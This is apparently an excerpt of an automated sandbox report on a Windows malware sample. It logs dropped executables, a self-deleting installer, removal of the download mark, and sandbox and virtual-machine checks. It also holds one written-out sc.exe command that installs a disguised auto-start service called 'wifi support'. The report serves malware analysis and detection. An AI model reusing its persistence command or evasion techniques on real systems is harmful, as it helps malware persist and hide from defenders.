Source: 25.0.CBE6.exe.c10000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 25.0.CBE6.exe.c10000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 25.0.CBE6.exe.c10000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 25.0.CBE6.exe.c10000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 25.0.CBE6.exe.c10000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 25.0.CBE6.exe.c10000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 25.0.CBE6.exe.c10000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 25.0.CBE6.exe.c10000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 41.0.CBE6.exe.740000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 41.0.CBE6.exe.740000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 41.0.CBE6.exe.740000.13.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 41.0.CBE6.exe.740000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 41.0.CBE6.exe.740000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 41.0.CBE6.exe.740000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\fjsvubj

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C29C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A975.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5BB7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\4186.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\1F56.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\50F8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\BE39.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7C90.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\36F6.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\fjsvubj	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B55D.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\66D4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CBE6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	File created: C:\Users\user\AppData\Local\Temp\qsflslyl.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\fwpgxpnt\qsflslyl.exe (copy)	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\fwpgxpnt\qsflslyl.exe (copy)

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create fwpgxpnt binPath= "C:\Windows\SysWOW64\fwpgxpnt\qsflslyl.exe /d\"C:\Users\user\AppData\Local\Temp\BE39.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Users\user\AppData\Local\Temp\BE39.exe

22_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\ppsa8txvuy.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\fjsvubj:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Code function: 20_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

20_2_0040C2E0

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: fjsvubj, 0000000B.00000002.405657692.00000000007BB000.00000004.00000020.sdmp	Binary or memory string: ASWHOOKS
Source: B55D.exe, 00000013.00000002.421723970.00000000004EB000.00000004.00000020.sdmp	Binary or memory string: ASWHOOK

Found evasive API chain (may stop execution after checking locale)

Show sources

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\fjsvubj	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00406AA0		20_2_00406AA0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00576CF0		20_2_00576CF0

Found evasive API chain (may stop execution after checking computer name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

Source: C:\Windows\explorer.exe TID: 1312	Thread sleep time: -31900s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4400	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBE6.exe TID: 6676	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PPsa8TXVuy.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_1-8855
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\CBE6.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 633	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 399	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 402	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A975.exe	API coverage: 6.3 %
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	API coverage: 6.4 %
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	API coverage: 6.4 %

Source: C:\Users\user\AppData\Local\Temp\C29C.exe

Code function: 20_2_00576CF0

20_2_00576CF0

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5BB7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4186.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1F56.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\50F8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7C90.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\36F6.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\66D4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\qsflslyl.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Windows\SysWOW64\fwpgxpnt\qsflslyl.exe (copy)	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\Temp\BE39.exe	Evaded block: after key decision

Source: C:\Users\user\AppData\Local\Temp\CBE6.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B55D.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	API call chain: ExitProcess graph end node

Source: WerFault.exe, 00000015.00000003.450924021.00000000047EA000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000002.457616850.00000000047F3000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWx
Source: explorer.exe, 00000006.00000000.341715676.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
